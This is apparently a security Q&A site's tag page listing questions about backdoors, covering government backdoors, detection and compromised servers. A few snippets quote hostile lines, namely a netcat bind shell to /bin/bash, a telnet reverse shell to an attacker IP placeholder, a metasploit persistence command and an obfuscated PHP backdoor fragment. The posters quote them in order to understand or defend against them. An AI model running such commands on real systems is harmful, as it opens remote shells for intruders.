A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

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301
votes
22answers
295k views

I found that the company I work for is putting a backdoor into mobile phones

I have found out recently that the remote assistant software that we put in a smartphone we sell can be activated by us without user approval. We are not using this option, and it is probably there ...
158
votes
6answers
18k views

Apple's open letter - they can't or won't backdoor iOS?

Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. Here's a summary: The FBI has an iPhone in ...
86
votes
7answers
5k views

How do I know a piece of software only does what the author claims?

Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security?
46
votes
6answers
7k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies (e....
45
votes
5answers
4k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
30
votes
1answer
1k views

Any known cases of government backdoors creating exploitable security holes? [closed]

As the Apple v FBI battle unfolds, government backdoors will become a hot topic. As background to that, I have two questions: Are there any known cases where governments have forced tech companies ...
24
votes
2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
24
votes
1answer
8k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?
23
votes
7answers
5k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
21
votes
1answer
14k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($...
16
votes
9answers
6k views

Would an encryption scheme that generates an extra key to be securely stored offsite be a safe backdoor?

Let me be clear first and foremost: I do not think installing a backdoor in security algorithms is a good idea. They undermine the trust in the software and in the company that provides the service. ...
12
votes
2answers
4k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
12
votes
2answers
10k views

Detecting and removing Absolute persistance technology

Absolute persistance technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
11
votes
3answers
1k views

Why can't apple simply add the backdoor now and then remove it after the FBI is done?

Summary of the current situation by @TTT Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. ...
9
votes
6answers
8k views

Is blocking UDP and TCP sufficient to prevent unwanted network activity?

I want to be 100% sure that my machine only connects where and when I want it to. If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure ...
8
votes
3answers
2k views

Why can't the FBI copy the contents of an iPhone they are trying to crack?

Making the news rounds now is a story about the courts ordering Apple to disable the automatic deletion of data after 10 failed password guesses. What I don't understand is, why doesn't the FBI just ...
6
votes
4answers
16k views

How can I detect backdoors?

I have a machine running Mac OS X and I suspect there may be a backdoor installed. I know that I could take it to a professional security firm for analysis, or nuke it from orbit, but I'm interested ...
6
votes
3answers
6k views

backdoors in hardware (ie. intel/amd cpu) possible? [closed]

There are several reports about hardware based attacks on IT-security as for instance those here: http://wccftech.com/intel-possibly-amd-chips-permanent-backdoors-planted-nsa/ http://www.afr.com/p/...
6
votes
2answers
1k views

Backdoors after SQL injection?

I just found an injection vulnerability on a live site of a client. It looks like this: $sql = "SELECT * FROM users_dl WHERE Username = '" . $Uname . "' AND Password = '" . $Pword . "'"; I ...
6
votes
2answers
162 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
5
votes
6answers
1k views

Could a computer program be used to automate testing for trapdoors?

Could a computer program given the source or object version of another program be used to automate testing for trapdoors/backdoors?
4
votes
2answers
669 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
4
votes
2answers
257 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
4
votes
2answers
150 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
4
votes
1answer
2k views

Hiding backdoors in Open Source code in other languages than C and C++?

I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in ...
4
votes
3answers
423 views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
4
votes
1answer
280 views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
4
votes
0answers
195 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
3
votes
1answer
2k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: http://...
3
votes
3answers
3k views

Disable Perl for some/most Linux users?

One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
3
votes
3answers
205 views

Is Bitlocker trustworthy?

My question isn't about whether or not the encryption on Bitlocker works, but whether or not there has been any security audits about potential backdoors Microsoft may have installed. I don't have a ...
3
votes
2answers
1k views

I found what, I believe, is a backdoor in my home router, what should I do?

My country doesn't have any laws regarding this subject (Brazil). And I don't want to disclose it to the police, it's more likely they will just keep it to themselves. What should I do?
3
votes
2answers
494 views

How do hard-wired backdoors work?

How can a vulnerability be hardwired? Just read this article, which got me thinking. Is there simply vulnerable software running on a piece of hardware that is read/write only or..?
3
votes
1answer
733 views

Backdoor.ASP.Ace.C keeps showing up and being removed by f-secure

Backdoor.ASP.Ace.C is being found and removed from: C:\Users[username]\AppData\Local\Temp[randomstring] We have recently found some malicious aspx files on our IIS server that we have studied and ...
3
votes
1answer
117 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
3
votes
1answer
121 views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
3
votes
1answer
76 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
3
votes
1answer
75 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
3
votes
1answer
58 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
3
votes
2answers
1k views

Would IT Security professionel people notice a backdoor in Windows 7 or SBS 2011 implemented by Microsoft? [closed]

I guess you have heard of Edward Snowden. Papers around the world published that the NSA invests much time, money and effort for a »full take« of the communication around the world. Given this, it ...
2
votes
2answers
124 views

Virus Removal Boot Disks — a few questions

I'm new to working with and using a backdoor/virus with a boot disk. Can they be mounted to a USB drive? What options are out there and what should I look for in one? Are they practical? Do they ...
2
votes
1answer
309 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
2
votes
2answers
99 views

Finding a backdoor on a server?

Let's say I hire someone (freelance), for IT work on an Ubuntu server. The server has a good firewall, I run clamav, chkrootkit & rkhunter scans weekly, and I try to keep good practices. The ...
2
votes
2answers
2k views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
2
votes
3answers
3k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
2
votes
1answer
206 views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
2
votes
1answer
4k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking svchost....
2
votes
2answers
2k views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
2
votes
1answer
410 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <...
2
votes
1answer
73 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...